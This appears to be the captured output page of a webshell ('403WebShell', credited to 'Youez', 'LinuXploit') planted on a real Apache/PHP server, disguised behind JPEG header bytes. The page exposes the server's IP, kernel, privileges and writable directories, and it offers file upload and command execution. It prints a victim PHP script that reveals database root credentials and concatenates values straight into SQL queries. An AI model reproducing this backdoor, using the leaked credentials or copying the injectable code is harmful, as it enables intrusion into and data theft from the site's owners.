????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/icad.astacus.se/project/project/calculate_cmr.php
<?php

	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
	
$sql = "SELECT projectId FROM Project where (ProjectTypeId = 58 or ProjectTypeId = 23 or ProjectTypeId = 56 or ProjectTypeId = 57 or ProjectTypeId = 22 or ProjectTypeId = 41 or ProjectTypeId = 21)  and not STATOrderValue = 0 and not ProjectStatusId = 11 and ProjectPhaseId >= 2;";

    $result1 = mysql_query($sql);
 while ($row1 = mysql_fetch_assoc($result1)){ 

$ProjectId = $row1['projectId'];
	$sql = "SELECT ProjectId, (SUM( TimeSpent ) + ( SUM( TimeSpentMIN ) /60 ) + SUM( Waittime ) + ( SUM( WaittimeMIN ) /60 ) + SUM(Overtime ) + ( SUM( OvertimeMIN ) /60 ) + SUM( Extra ) + ( SUM( ExtraMIN ) /60 ) ) AS Total1, (SUM( AdminSpent ) + ( SUM( AdminSpentMIN ) /60 )) AS Total2 FROM  `ProjectTime` WHERE ProjectId = ".$ProjectId." GROUP BY ProjectId";

    $result = mysql_query($sql);
	
	  $Topic = "";
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$TotalScan =  $row['Total1'];
		$TotalAdmin =  $row['Total2'];
	}
	
	$sql = "SELECT * FROM Project WHERE ProjectId = ".$ProjectId."";
	 $result = mysql_query($sql);
	  
	  $Topic = "";
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$STATHrsReg_PROD =  $row['STATHrsReg_PROD'];
		$STATHrsModel_PROD =  $row['STATHrsModel_PROD'];
		$STATNbrScans_PROD =  $row['STATNbrScans_PROD'];
		$STATSize_PROD =  $row['STATSize_PROD'];
		$STATSize =  $row['STATSize'];
		$STATOrderValue =  $row['STATOrderValue'];	
	}

					$s = 0;
					if($STATSize_PROD == 0){
						$s = $STATSize;
					
					}else{
						$s = $STATSize_PROD;
					
					}

	$TotalCost = $TotalAdmin*30+$STATHrsModel_PROD*12+$STATHrsReg_PROD*13+$TotalScan*35;

	$CMR = round(($STATOrderValue-$TotalCost)/$STATOrderValue*100);
	
	$QCPercent = round(($TotalAdmin/$STATHrsModel_PROD)*100);
	$SCANPerDay = round($s/($TotalScan / 8));

	mysql_query("Update Project Set CMR = '$CMR' WHERE ProjectId = $ProjectId");

	mysql_query("Update Project Set QCPercent = '$QCPercent' WHERE ProjectId = $ProjectId");
	mysql_query("Update Project Set SCANPerDay = '$SCANPerDay' WHERE ProjectId = $ProjectId");

 }

?>

Youez - 2016 - github.com/yon3zu
LinuXploit